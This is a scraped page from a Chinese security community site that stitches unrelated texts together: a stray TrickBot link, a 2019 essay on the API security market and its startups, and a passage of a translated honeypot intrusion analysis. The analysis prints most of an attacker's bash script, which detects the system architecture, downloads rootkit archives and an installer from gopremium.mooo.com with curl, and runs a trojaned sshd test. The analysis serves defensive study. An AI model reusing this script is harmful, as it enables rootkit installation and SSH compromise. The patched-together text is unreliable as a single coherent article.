[http://www.ringzerolabs.com/2017/07/trickbot-banking-trojan-doc00039217doc.html](http://www.ringzerolabs.com/2017/07/trickbot-banking-trojan-doc00039217doc.html) | 社区文章 |
# 下一座圣杯——2019
##### 译文声明
本文是翻译文章，文章原作者 DJ的札记，文章来源：DJ的札记
原文地址：<https://mp.weixin.qq.com/s/6Kli-u6LEInoliTVQgdrFQ>
译文仅供参考，具体内容表达以及含义原文为准。
今年的圣杯文章拖延很久，原因是笔者公司也在做这方向产品，所以故意押后几个月才发：先看清市场有没有跟随者以及其理解程度。毕竟创业公司要辛苦谋生度日，竞争态势也需要时刻注意。每年的圣杯文章预测两年后初见成功的新安全产品。今年笔者挑选的方向注定是个红海；初创公司要谨慎进入，因为必然会直面大厂发起的凶猛竞争。
## 应用安全的发展
最近十年，应用安全从未缺席行业热点关注。公众号留言希望笔者写写有关应用安全的要求也从未间断过。还记得2015年关于安全新趋势的文章吗？数据是新中心、身份是新边界、行为是新控制、情报是新服务。每一点都代表着创业公司的市场机会。唯独没有应用安全。应用安全不重要吗？当然不是。软件定义世界，没有人会否认软件自身安全性的重要程度。可惜的是，在2015年，笔者并没看到应用安全出现新技术变革。基础设施演进给应用安全市场带来了新机会，也只是交付方式的改变，导致新增容量大部分被云基础设施大厂瓜分殆尽。过去数年间，缺乏技术变革，还要面对CSP逐步蚕食份额，应用安全厂商感觉压力山大，都在发愁如何把乏善可陈的产品做出亮点。在此大环境下，专注技术创新的初创公司也很难孵化出明星。
为了佐证此论断，我们不妨对比2004年与2017年OWASP Top
10的变化。下图中，笔者用箭头画出了相差十三年两份列表的内容对应关系。透过表象看实质：仔细研究其详细解释，就会发现除了列表标题文字表达有些许差异外，具体安全控制点在两份文档中几乎都可以一条不落地找到。
例如，2004 A10 Insecure Configuration Management具体解释中第一点即明确提到unpatched security
flaws in the server software，与2017 A9 Using Components with Known
Vulnerabilities并无本质区别。2017 A4 XXE是新出现的条目，自然是由于XML广泛应用所引起的，但是让我们看一眼2004 A1
Unvalidated Input的解释：Attackers can tamper with any part of an HTTP request,
including the url, querystring, headers, cookies, form fields, and hidden
fields, to try to bypass the site’s security mechanisms.
显然，XXE只是其中一种表现，并不新鲜。而反序列化漏洞代替缓冲区溢出，揭示着应用系统架构的变迁，Java等开发语言逐渐占据统治地位。消失在前十的2004
A9 Application Denial of Service，把它挪到2017
A11的位置，相信绝大部分读者都没有异议。2017年真正意义上新出现的条目只有一个：A10 Insufficient Logging &
Monitoring，而这正是整个安全业界对于防御和检测的心态发生了根本转变才有的认识。
不知道各位看官有没有像笔者当时一样感到十分惊叹。假设2004年你已经掌握了Web攻击的基础知识并充分实践，恭喜你，十几年后，你即使并没努力学习新技术，即使一直原地踏步，也不会被无情淘汰。这在飞速发展的计算机领域简直太不可思议了。举个例子做对比，同样这十五年间，操作系统等软件的安全性至少上了四五个大台阶，如果你不能持续跟进新技术发展，内网横向移动必然举步维艰。
回顾应用安全领域的标杆产品WAF的发展历程，也可以看到类似现象。开源ModSecurity发布于2002年，虽然易用性和支持性比不过商业产品，但事实上一直代表着此领域的技术发展水平。把时间拨回到2015年，笔者能看到的创新，也只有SQL注入的词法分析，始于2012年开源的libinjection。这个目前WAF厂商还在重点宣传的新功能，ModSecurity在2013年初就已经集成并提供。题外话，libinjection的作者后来作为CTO共同创立了引人注目的Signal
Sciences，成为WAF市场后起之秀。在此之后，ModSecurity于2014年引入模糊哈希方法ssdeep检测webshell，其所用技术CTPH早在2006年面世，实际效果差强人意，难以大张旗鼓宣传。从那时到现在，大家又记得WAF检测技术出现了什么新变化吗？
笔者还观察到一个有趣现象，无论美国亦或国内，如果你跟NGFW或其它产品方向的领先厂商的技术人员交流，总会有一种感觉，他们对WAF根本不重视，言谈中隐隐流露出认为其技术老旧缺乏壁垒、市场规模有限、所以不愿意投入的意思。
但笔者十分重视WAF市场。熟悉的朋友都知道我近几年多次讲到十分后悔2015年纠结了半年时间最终没有坚定投入WAF产品。那时候，我看到了WAF在国内市场的巨大潜力：少有的预算增速和预算份额远超美国市场的安全产品，这是由于当时国内电商和线上业务发展速度已经显露出全面超过美国的迹象。但是我也看到了缺乏技术革新带来的产品同质化严重，同时高估了大厂的产品研发和市场进攻执行力，还有重金砸销售与那时公司运营模式不同的挑战，等等各种貌似正确的理由，最终错失了一次市场爆发机会。每日三省吾身，交过学费的自然要牢记并且避免再犯错。这几年来，笔者一直念念不忘试图寻找进入应用安全领域的切入点。
上文提及，云增量被CSP吃掉。早在2015年，笔者就认为云WAF位列云安全产品收入前三，应是云服务商重点投入方向，参见本公众号文章《安全，是云基础设施的核心竞争力之一》。那年，业界还在争论，云服务商应不应该做安全、能不能做好安全。白驹过隙，四年后市场给出了强有力的答案：今年各路分析师报告，全球前十WAF厂商里有一半是云基础设施服务商。新机会由交付方式改变而引发，并非技术变革，导致WAF市场发展不是创新驱动而是投资驱动，因此头部CSP能拥有巨大竞争优势。
应用安全其它领域的需求亦很强劲，只是难以规模化成长，独立支撑起一个上市公司的难度颇大。例如RASP，2015年RSAC创新沙盒冠军Waratek，现在也转向RASP与WAF结合，走Signal
Sciences的道路；成立十年之久，规模却落后太多。近两年新趋势，厂商同时提供RASP和WAF集成，弥补各自不足之处。Shape
Security当年猛吹动态变形，究其原理也是RASP路数，想做到上市也困难重重，历经转换方向尝试，到现在早已改成RASP+WAF+SDK。Imperva起家其实是靠数据库安全。美国WAF市场启动与国内同步甚至略慢，到现在也已经变成红海，收购整合一直在进行中。另外，今年创新沙盒入围者ShiftLeft，数学方法辅助自动化代码漏洞挖掘，笔者虽然很喜欢其技术，但也知道很多美国投资者并不看好代码审计类产品，因为他们投了近二十年的代码审计初创公司，最好的结果是被收购。应用安全厂商面对窘境，无不积极寻找转折机会。横跨半步，已成为安全行业扩大规模的普遍策略，常见的有，威胁情报厂商销售IDS，漏扫厂商通过DAST产品进入SDL，代表厂商如Rapid7，等等。
洋洋洒洒写了两千多字，显然不是废话去浪费大家时间，而是要为中心思想做铺垫：虽然过去十年美国市场涌现出不少应用安全创业公司，但成功者十分稀少。就在眼下，应用安全领域出现了一个少见的拥有巨大市场空间的创业机会：API安全。新应用风险，新安全战场。或许很多读者已经猜到此答案，因为从去年底开始，笔者已经多次在小型沙龙和大型行业会议中公开介绍过API安全的基础知识。新基础设施必然会带来新安全产品机遇。作为连接一切应用并交付数据和功能的方式，API已成为安全团队不得不重视的关键风险控制点。
## 新形势与新机遇
过去五年，云计算已经深入到数字化经济基础设施的方方面面，市场竞争态势的巨大变革导致诸多厂商盛衰沉浮，不乏跟不上趋势从此一蹶不振的。未来五年，影响深远的技术架构变革会是什么？一千个读者心中有一千个哈姆雷特，不同解读在所难免。但是，微服务、Serverless、边缘计算，应该能覆盖大部分读者心中的答案。听起来区别颇大的三个方向，却都有一点共同特征：API是必不可少的基础模块。
业内容易有个认知误区，微服务常常被认为等同于容器，其实不然：容器只是提供了大规模部署的便捷管理方法，容器离开微服务架构就没有大发展机会，而微服务离开容器仍将继续快速前行。容器的易用性必然会带来额外资源消耗、性能波动、治理复杂度、以及其它相对应的局限，因此如今也有企业在部署微服务时，出现从容器回退到虚拟机甚至物理机的现象。或相反方向，使用更抽象化更易管理的计算方式支持微服务，类似Serverless用于搭建Microservices，
AWS已自成体系：Lambda、Fargate、Aurora
Serverless、EventBridge、Kinesis等等。事实上，微服务架构的核心是网格mesh，网格的连线采用API最易达成管理。因此，没有Kubernetes照样可以使用微服务，没有API就没有微服务。业界有些专家坚称，微服务不过是SOA旧瓶装新酒，此论调与当年将云计算等同于虚拟化一说惊人雷同，迟早会被证误。笔者认为，SOA所描述的数据总线已经过时，将被支持网状通讯传输的数据平面所替代。原因有很多，既然是安全行业公众号，本文就只讲从安全角度出发的一点：SOA数据总线架构无法满足数据安全合规要求。只有升级到点对点的服务网格，使用分类分级的API，严格认证身份并充分鉴权，遵循最小限度使用数据的原则，才能灵活达成日趋严格的数据资产内控目标。下面借用一张示意图说明API在微服务架构中的无处不在。
闲扯两句，近两年来感觉国内云厂商能力与AWS和Azure相比差距越来越大。很多人并不理解什么是“跟随者战略”。并不是友商今天发布一项新产品，咱们自己10个月后也发个新闻稿写页ppt就能搞定。有些新产品需要起码几年时间去开发，大神再多的研发团队也没办法创造奇迹。真正的跟随者战略，要提前三五年识别友商的中期战略，还原其产品规划路线图，然后自己才能布局资源投入，达成落后一年跟随领导者推出新品的目标。不踏实做竞争分析的功课，等人家产品都发布了，自己手忙脚乱硬上，顶多是学个皮毛，凑合做个界面，面子里子本末倒置。还有人觉得AWS发布Fargate是被Kubernetes逼迫的无奈之举，App
Mesh无法面对Istio，事实上只能说他根本不理解云计算和AWS战略，不过是鹦鹉学舌般喊名词扯大旗。Kubernetes是很凶猛，Istio是很牛逼，但就像十年前大家还会聊起Xen和KVM，现在AWS云上绝大多数客户不会提及Hypervisor而只知道EC2一样，五年后，客户只要能在AWS上轻松跑起来容器并编排应用之间网络连接就好，人家只需要知道Fargate和App
Mesh，管你下面用的K8s/Istio还是什么其它架构。就连掌握K8s的Google也推出了相同产品Cloud
Run。如果连行业领导者的战略都看不懂，就不要奢谈什么跟随者策略。计算抽象化，自打计算机问世后就一直存在，无法阻挡也不可避免，在云上也没有例外，Serverless已经被公认为大势所趋。
Serverless，或者有人叫Function-as-a-Service（其实范畴略有不同），本来就是构建于API之上且以API方式提供功能交付，所有后台计算服务器都被抽象化，用户看不见也不关心，自然不用多说API在其中扮演的重要角色。边缘计算，也不可能有独立的孤岛设备，边缘计算节点之间以及与云上中心服务器的所有交互都是通过API实现。让我们再来看看更多热门应用场景：人工智能AI平台能力都是通过API来交付的，无论是图像识别还是反欺诈；今年炒得火热的中台，实质上是把后端能力标准API化；供应链中的数据交换，毫无疑问也都是API；不一而足。在数字化转型过程中，API已经成为不可或缺的基础设施。
既然API应用广泛是大趋势，那做API管理平台是不是比API安全更有前景呢？去年早些时候，笔者与几个做投资的朋友聊起此创业方向时，狠狠泼了一盆冷水。首先，去年开始做明显已经晚了，要做也必须在巨头动手之前，先发才能有机会抢占市场。早在三四年前，国外巨头已经纷纷开始布局，参见下表。其次，API管理服务受客户导流影响显著，初创公司需要付出可观的客户获取成本，而这方面巨头拥有无可比拟的优势，无论是私有化部署或者云交付。第三，开源方案已经很成熟，Kong、WSO2、Ambassador、Tyk、Zuul等各有千秋，令业务自建门槛大幅降低，有一定自研能力的企业往往不会选择外购。
国内市场还要面临更多的挑战。尤其难免会遇到拷问灵魂的问题：巨头入场之后，创业公司的竞争优势如何体现？此方向上，很难建立有效的技术壁垒，无论是性能还是功能，想突破Nginx衍生平台的水平，真不是三五个核心团队成员一两年能搞定的。想做开源发行版定制？Hadoop生态的颓势历历在目。此外，云厂商的标准产品会吃掉绝大部分中小企业的市场份额。还有之前已经成功的业务系统开发厂商，他们坐拥前期积累的成本优势，必定横移半步正面竞争。API管理平台由于与业务系统关联紧密，客户很高概率会要求定制开发，这对创业公司既是机会又是陷阱。一方面即使巨头拿到订单也可能不愿意做，甩给小公司，不过这样拿到的单子交付压力大，毛利率较低，另一方面，直销往往又需要付出高昂的获客成本，非标准化且交付要求高的产品，走渠道只是空想罢了。简而言之，规模发展速度受限，利润空间堪忧。
但凡存在基础设施演进变革，安全创业的机会就少不了。随着API迅速成为内外部人员和应用服务之间交换并使用数据的主要通道，管理层越来越担心它所带来的内外部威胁。API安全由于坐拥安全市场区隔的独有特性，竞争态势会远远好于通用API管理市场；而API管理厂商虽然会提供部分基础安全能力，例如用量限制、抗DDoS、防bot、身份认证和鉴权等，但通常也没有能力太过深入去抢安全厂商的饭碗。既然如此，接下来需要考虑的便是，API安全应该如何切入呢？
## 跨细分领域且跨基础设施
虽然本文以应用安全开头，不过API安全可不仅仅局限于应用安全，还横跨数据安全和身份安全领域，这就令其切入点变得多且分散。任何只关注某一细分领域的API安全产品都不是完整的，客户要求的是能处理此场景中尽可能多风险矛盾的完整解决方案。创业公司可以根据自己历史积累的竞争优势，灵活选择入场方式，然后再横向移动至相邻细分领域。例如笔者公司的API安全产品便是由数据安全入手，随后引入认证和鉴权相关风险的检测，目前在完善应用安全方面的覆盖。
照此逻辑，WAF大厂Imperva从应用安全入手非常自然，API安全已经位列其应用安全类目下的顶级产品线，与WAF并列。之前在Web攻防领域积累颇多的厂商，自然首先宣传对API攻击会造成巨大危害。Imperva产品彩页包括四个要点：阻止API相关的严重攻击、构建基于OpenAPI规范的积极安全模型、集成安全性至API生命周期管理、网站与API的统一安全解决方案。是不是感觉描述十分简单？由此可见Imperva也才刚刚开始。
上图说明了API安全在Imperva整个纵深防御产品体系里的位置。
Web安全已有超过15年时间的高强度对抗，而API对抗不过才刚刚开始，程序员们都没经过实战演练，很容易出现各种漏洞。因此，在目前阶段，攻击API很容易达成满意结果，利用已有渗透测试工具都能获取可观的产出，典型的a
low-hanging fruit，年底冲业绩的红队不妨一试。
说到这里不能不提OWASP组织的API安全前十列表，如下图所示。在笔者看来，此列表过于注重攻击防守技术，缺少对业务风险的理解和支持，安全团队难以使用类似口径向管理层汇报，立项申请预算都要颇费一番周折。因此，笔者从商业风险纬度出发，总结了五点管理层关心的、会造成明确业务损失的、并且有缓解措施落地的API安全威胁，在多个场合公开介绍过。限于篇幅，此处不展开细讲了。
大家不妨对比一下OWASP Top 10与OWASP API Top 10之间的区别，篇幅所限这里不展开详细讲了。
今年RSAC创新沙盒入围厂商Salt Security是OWASP API Top
10的赞助商之一，号称可以发现攻击者侦查API的行为，从其思路来看也是应用安全方向。很遗憾的是，过去一年中笔者在各展会上四处寻觅却都没看到其产品演示，这情形也十分少见，令人不禁心生疑惑。
从身份安全迈入API安全也是一条可行之路。API离不开身份认证和鉴权，IAM厂商天生就有现成客户群体沉淀，可交叉销售的新产品线是许多管理层扩张战略的最爱。Ping
Identity首先通过PingAccess为客户提供API中的权限管控能力，发现协同效应后，进一步收购Elastic
Beam以完善API安全解决方案：打包成下图中的PingIntelligence产品线。
上面的另一块拼图组成部分，便是对API使用过程中的数据流动的监控，产品线名称为PingDataGovernance。笔者不愿意过分夸大数据流动的风险，虽然五年前我们产品已经有了数据地图的功能，但从来没大张旗鼓宣传也没必要去吓唬用户。原因很简单，不分重点监测数据流量的工作，投资回报率ROI较低，不建议资源紧张的安全团队超前考虑。安全行业中颇有一些貌似简单直观的概念，乍听上去很有道理，人人都能理解并附和讨论几句，其实却经不起推敲。安全发展到现在，再出现简洁直观的体系架构非常困难，至少很难发源于普通从业者。最近几年火热的诸如零信任和ATT&CK等新思路，有哪个是能轻易理解上手的，又有哪个是能快速落地的，又有哪个不是投入巨资多年积累的？现实当中，企业大部分的数据流动场景的风险极低，盲目检测与大海里捞针没什么区别，短时间也许可以赢得一些赞誉，长期产出难以预测和衡量，无法得到管理层认可。试图掌握大型企业中的数据流动？安全团队不妨先厘清预算，带宽、存储、算力是否足够支撑，最关键的是，要有足够的员工编制确保日常运营，再考虑检测出的风险数量是不是足够多到能说服管理层进而持续支持如此之大的资金投入。以为是蓝海创新，其实是高投入低产出的无底洞。几十年来，安全预算首重边界防护是非常有道理的，因为那里是ROI最高的所在。延续这一思路，发现数据流动风险，想要出业绩，最重要的是监控边界处发生的恶意技战术，办公网自然是DLP，而业务系统领域API当仁不让首当其冲。
API安全从数据防泄漏角度切入对管理层也拥有非常吸引力。2018年，由于API问题造成的知名数据安全事件发生了很多起，小额社交支付Venmo泄露了数十万条交易细节，T-Mobile泄露了230万用户敏感数据，Facebook泄露了超过3000万账户，USPS则泄露了约6000万账户的数据。2019年，澳大利亚最大的房地产评估公司LandMark
White出现API漏洞，导致房地产估价细节和客户信息泄露；调查发现，出现的问题根源在于，最初设计只能在内部使用的API，被攻击者从其域外部访问；此事件严重损害了该公司声誉，客户和银行合作伙伴争相寻找替代方案，最终导致首席执行官辞职。不幸的是，此类API数据泄露问题十分常见，也不是权限检测就能发现的，往往需要依赖行为分析才能捕获。
除了横跨三个细分领域之外，API安全还有更多难点，需要适应多种不同时期不同架构的业务应用。传统行业拥有大量历史留存的基于SOAP的老旧业务系统，并不遵循OpenAPI，甚至不使用REST
API，而是WebSockets传输XML数据。此外，JSON、Protobuf、GraphQL、RPC、HTTP/2等等，很多时候开发人员都是拿橘子跟苹果对比，概念范畴都无法对齐，API安全产品处理起来更是复杂。大部分国外创业公司只专注于一种接口，但在国内恐怕行不通。
下图的演讲标题看着眼晕不？是不是有不忍直视的拉郎配般的酸爽？如果公司里有个盲目崇拜大厂不停尝试追赶实验室技术的架构师，那安全团队一定有种被无情架在火堆上炙烤的感觉。
此外，API使用场景广泛，需要厂商有全面覆盖多种不同基础设施的产品能力。最简单的部署方式自然是网络流量镜像，还原HTTP流量中的REST
API通讯，大家都觉得容易，但内部员工使用业务系统API的TLS加密流量，能正确应对还原的厂商就不多了。JSON能描述的数据格式简单，业务系统需要传输大量PDF表单和Office文档，内容是否敏感也需要筛查。使用S3兼容对象存储、CIFS/SMB、NFS等存储设施中转数据，也需要能进一步识别。微服务sidecar镜像过来的流量得能接住，API网关也需要提供插件支持，分布在全球各地的流量探针要考虑如何汇聚海量日志，5万正式员工加3万外包电脑使用API的行为如何准确发现异常并定位，等等，各种各样的复杂情况都需要考虑到，厂商产品化工程压力山大
。只监视自己公司内部业务系统之间的数据流动？那顶多覆盖了5%不到的风险区域。真正重要的风险不是简单标记数据传输就能描述清楚的。例如，呼叫中心客服虚拟桌面系统和后台业务订单系统每天传输100万条客户数据，这俩系统之间本来就应该有数据流动且看起来完全正常，那就没有风险了？真正的威胁隐藏于每一条API使用的过程中，可能只有1%的数据交换是风险，特权用户恶意下载、账号泄露盗用、用户权限提升、访问鉴权缺失、敏感数据意外暴露、隐蔽后门接口等等，都可能造成严重后果，这可不是只看数据流动就能发现的，需要从身份、应用、数据三个角度出发综合考虑才能有效检出。
## 境况不佳的API安全初创公司
创业首先要选好方向，否则血泪一把。Chronicle被抛弃一点儿都不令人意外，就算是含着金汤匙出生的行业大佬，妄图不顾市场规律逆势而行，也都会撞到头破血流惨淡收场，类似故事在各行业都是持续上演屡见不鲜。API安全并非新事物，历史悠久，七八年前就有，但直到今年才初露峥嵘，刚需且市场潜力巨大，是创业的好机会。同时，API安全注定是红海。若创业选择此方向，必须认真考虑自身团队的核心能力是不是有机会在千军万马中跑出领先身位。笔者注意到美国有两家此领域创业公司已经解散关门，大部分团队都出现了增长缓慢和融资困难的现象。所以，笔者去年底也斟酌良久才确定投入资源。创业维艰。过去几年相对准确的预测，并不代表笔者这次不会犯错误，想进入此方向的读者请自行认真考虑并承担风险。
想做好API安全产品还是蛮难的，领域多且复杂，功能范围分布较广，门槛较高。此处，我们粗略看看几家被分析师提及的创业公司的产品方向，读者可以感受一下不同厂商之间的区别有多大。另外也能得出不要盲目崇拜国外厂商的结论，因为大部分做得实在很一般，分析师地域偏见十分明显。
### 42Crunch
已有4年历史，专注于OpenAPI，总部位于伦敦，团队经验丰富，前Axway和IBM等经历，但融资并不顺利。其产品提供三种能力。首先，根据OpenAPI标准规范，检查提交的API定义是不是满足安全要求。其次，动态检测API服务是否遵循API定义，报告总结扫描内容和方式，包括响应时间、收到的HTTP状态代码、以及意外响应状态代码等。最后，API防火墙，使用C编写，Docker镜像，sidecar牵引流量已经是标准配置，只能工作在Kubernetes环境下，必须连接42Crunch的平台。笔者听过其创始团队的几个议题，感觉他们确实对API实践经验丰富，只是这产品形态距离进入大规模推广阶段还有不少阻碍。笔者很难看好其未来发展，团队还需要主动寻找转折点。
### Aiculus
2017年10月成立，位于墨尔本，融资历程惨不忍睹。其使用人工智能AI自动检测和阻止试图盗取数据和欺诈性的API使用。下面一段是Aiculus宣传的机器学习实际用例。
>
> 利用8000+用户认证和访问日志的历史数据对神经网络模型进行训练。历史数据由13个特性组成，包括用户请求访问系统或进入物理建筑时收集的用户属性参数。利用这些数据对机器学习引擎进行训练，使其能够准确预测平台上的访问分配、访问拒绝、再认证和用户意图。“进入物理建筑”？门禁确实勉强能跟API扯上关系吧。8000+用户在澳大利亚算个不错的案例了，在国内真不是能值得吹嘘的规模。
读者可以看出，Aiculus从身份安全切入API安全的路径选择。
### Data Theorem
业界一直有个传说，不需要融资就能快速发展的创业公司才是真正生猛强大。大家听听笑笑也就算了，别当真。不烧钱还想高速增长，在今天的国内安全市场无异于天方夜谭，大部分企业服务公司烧钱还见不到增长呢。
不过凡事必有例外，Data
Theorem就很神奇，员工规模达到300人，却没看到任何公开的融资信息。2013年成立，最初做移动安全，目前已转向应用安全，API安全是业务重点。创始人为20年连续创业者，有两家公司被收购的历史。Data
Theorem提供两款产品，API Discover和API
Inspect。Discover能持续自动在客户公有云基础设施中发现新的API、记录已知API的更改、以及与这些API相关的其他云服务。
Discover产品还能让安全和运营团队发现Shadow
API，基于云的分析引擎不断扫描Serverless应用程序，一旦发现就会生成警报并通知安全团队。Inspect分析引擎持续对API的身份验证、加密、源码、和日志进行安全评估，确保API操作功能与其定义相匹配，并报告关键漏洞警报。
下图是Data Theorem建议的API安全实施步骤，没有常见的咨询机构的高大上体系，只能做落地实用参考。
### imVision
虽然融到钱但很少以至于日子过得十分惨淡的以色列厂商。其产品介绍无足称道，笔者都提不起兴趣多写两句。生搬硬套的人工智能驱动，如下张幻灯片讲自然语言处理识别API模式。
### FX Labs / CyberSecuriti
落寞的硅谷公司，融不到钱，创始团队已有变动。大家看到这里是不是已经对API安全创业失去信心了？这个公司产品以漏洞扫描为主。
### Sapience
类似的漏洞扫描方向。同样没钱的小团队。
### CloudVector / ArecaBay
今年RSAC上笔者就注意到此家，2018年正式成立，华裔创始人，行业经验丰富，参与创办过Netskope，再之前是一家被McAfee收购的团队成员。直到今年11月才宣布获得500万美元投资，公司改名，同时空降CEO和CFO。其产品主要包含三种能力：
* API检查模块AIM：全自动微传感器模块持续发现连接到企业资产的所有API，包括影子API。
* 深度API风险追踪器DART：深度监控模块将经验证过的机器学习应用于客户特定的API蓝图，驱动API风险的自动识别，更重要的是还能实时检测对手尝试侦查的行为。
* API响应模块ARM：实时响应模块能针对API滥用强制实施安全策略，是完全解决OWASP API Top 10的唯一解决方案。
此处放一张今年3月ArecaBay宣传材料照片，限于篇幅就不放更多资料了。
各位看官有没有很失望，以为分析师推荐厂商列表能让人眼前一亮，实际看下来大部分都是三脚猫水平，要是拿这么低完成度的产品去忽悠国内大甲方，还不得被口水喷到体无完肤。这也从另一个角度说明，现在安全行业需求水平日益提高，想做好一个企业级产品，最少投入的资金，在美国至少两千万美元，在国内至少四千万人民币，不融资几乎不可能。想反驳的，请别用开源项目糊弄产品靠销售硬塞的例子留言给笔者。如果吹牛巨额融资花了一个亿重金精雕细琢出一个产品来，也请投资者擦亮眼睛避免入坑，原因很简单，国内安全产品的毛利水平根本撑不起如此挥霍。
笔者研究后发现，论API安全产品质量，目前美国市场上的几个大厂明显优于大部分创业公司，恐怕国内也会面临相同局面，至少头部公有云厂商肯定会自行研发，自用然后尝试输出。因此，创业团队要对潜在竞争有清醒认识，并拥有足够信心在产品上直面竞争。市场大势，此消彼长。五年前做API安全，毫无疑问会成为被拍在沙滩上的前浪，那时的契机是WAF。现在进入API安全，机会与风险并存。做好准备面对大额资金投入的一线厂商吧。小公司如果能过好产品关，即使身处激烈竞争的红海，也许运气会和你站在一起，成功可期。 | 社区文章 |
# 【技术分享】解剖一次真正的 Linux 入侵（第二部分）︰ OpenSSH的木马病毒工具
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://blog.angelalonso.es/2016/09/anatomy-of-real-linux-intrusion-part-ii.html>
译文仅供参考，具体内容表达以及含义原文为准。
传送门
**【技术分享】解剖一次真正的 Linux 入侵（第一部分)︰运行SSH MiTM 蜜罐**
<http://bobao.360.cn/learning/detail/3051.html>
正如文章第一部分所说，结构和LiNUX版本的不同会导致不同文件的调用。对于树莓Pi2处理器ARMv6来说，URL是http://gopremium.mooo.com/…/auto/arm61.tgz；ARMv7对应的是一个特定软件包，其中包含mips64、
mips、 vyos64和vyos（这是一个开源的网络操作系统）。
当然也有系统默认版本，那就是http://gopremium.mooo.com/…/auto/default.tgz
在文章第一部分里，我给出了一个p脚本，这里我将陆续给出其余p脚本。
**脚本2（p1）：编译SSH的木马版本并进行测试**
* * *
第二个脚本负责检测系统的体系结构。根据架构和Linux版本的不同，添加一些额外的工具帮助执行。
完整的脚本如下所示：
#!/bin/bash
############## OS & RK detection (p1)
############## detecteaza OS, downloadeaza rk si ii face test
rm -rf 1tempfiles ; mkdir 1tempfiles
echo -e "33[0;32m [+] 33[0m33[0m trying to detect OS"
arch=$(uname -m)
kernel=$(uname -r)
if [ -f /etc/lsb-release ]; then
os=$(lsb_release -s -d)
elif [ -f /etc/debian_version ]; then
os="Debian $(cat /etc/debian_version)"
elif [ -f /etc/redhat-release ]; then
os=`cat /etc/redhat-release`
else
os="UNKNOWN OS $(uname -s) $(uname -r) aborting."
echo ; exit
fi
echo -e "33[0;32m [+] 33[0m33[0m OS found: $os (arch: $arch kernel: $kernel)"
echo "$os (arch: $arch kernel: $kernel)" > 1tempfiles/os.txt
echo -e "33[0;32m [+] 33[0m33[0m trying to find rk for this OS" # green
if [ "$arch" == "armv7l" ] ; then
rk="arm71" ; echo "$rk" > 1tempfiles/rk.txt
echo "..." > 1tempfiles/side_files_dir.txt
echo -e "33[0;32m [+] 33[0m33[0m $rk.tgz found. downloading rk & install file (p2)" # green
rm -rf $rk.tgz ; rm -rf p2
curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
if [ ! -f $rk.tgz ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
if [ ! -f p2 ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
echo -e "33[0;32m [+] 33[0m33[0m starting rk test " # green
chmod +x p2
tar mzxf $rk.tgz ; rm -rf $rk.tgz
maindir=`pwd` ; rkdir="$maindir/$rk"
cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
echo -e "33[0;32m [+] 33[0m33[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
echo
echo " $rkdir/$rk/test-sshd -p 65535"
echo " telnet 127.0.0.1 65535 OR ssh [email protected] -p 65535"
echo " killall -9 test-sshd"
echo
echo -e "33[0;36m [x] 33[0m33[0m After checking, run the full install: ./p2 " #cyan
echo
elif [ "$arch" == "armv6l" ] ; then
rk="arm61" ; echo "$rk" > 1tempfiles/rk.txt
echo "..." > 1tempfiles/side_files_dir.txt
echo -e "33[0;32m [+] 33[0m33[0m $rk.tgz found. downloading rk & install file (p2)" # green
rm -rf $rk.tgz ; rm -rf p2
curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
if [ ! -f $rk.tgz ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
if [ ! -f p2 ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
echo -e "33[0;32m [+] 33[0m33[0m starting rk test " # green
chmod +x p2
tar mzxf $rk.tgz ; rm -rf $rk.tgz
maindir=`pwd` ; rkdir="$maindir/$rk"
cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
echo -e "33[0;32m [+] 33[0m33[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
echo
echo " $rkdir/$rk/test-sshd -p 65535"
echo " telnet 127.0.0.1 65535 OR ssh [email protected] -p 65535"
echo " killall -9 test-sshd"
echo
echo -e "33[0;36m [x] 33[0m33[0m After checking, run the full install: ./p2 " #cyan
echo
elif [ "$arch" == "mips64" ] ; then
rk="edgeos64" ; echo "$rk" > 1tempfiles/rk.txt
echo "..." > 1tempfiles/side_files_dir.txt
echo -e "33[0;32m [+] 33[0m33[0m $rk.tgz found. downloading rk & install file (p2)" # green
rm -rf $rk.tgz ; rm -rf p2
curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
if [ ! -f $rk.tgz ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
if [ ! -f p2 ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
echo -e "33[0;32m [+] 33[0m33[0m starting rk test " # green
chmod +x p2
tar mzxf $rk.tgz ; rm -rf $rk.tgz
maindir=`pwd` ; rkdir="$maindir/$rk"
cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
echo -e "33[0;32m [+] 33[0m33[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
echo
echo " $rkdir/$rk/test-sshd -p 65535"
echo " telnet 127.0.0.1 65535 OR ssh [email protected] -p 65535"
echo " killall -9 test-sshd"
echo
echo -e "33[0;36m [x] 33[0m33[0m After checking, run the full install: ./p2 " #cyan
echo
elif [ "$arch" == "mips" ] ; then
rk="edgeos" ; echo "$rk" > 1tempfiles/rk.txt
echo "..." > 1tempfiles/side_files_dir.txt
echo -e "33[0;32m [+] 33[0m33[0m $rk.tgz found. downloading rk & install file (p2)" # green
rm -rf $rk.tgz ; rm -rf p2
curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
if [ ! -f $rk.tgz ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
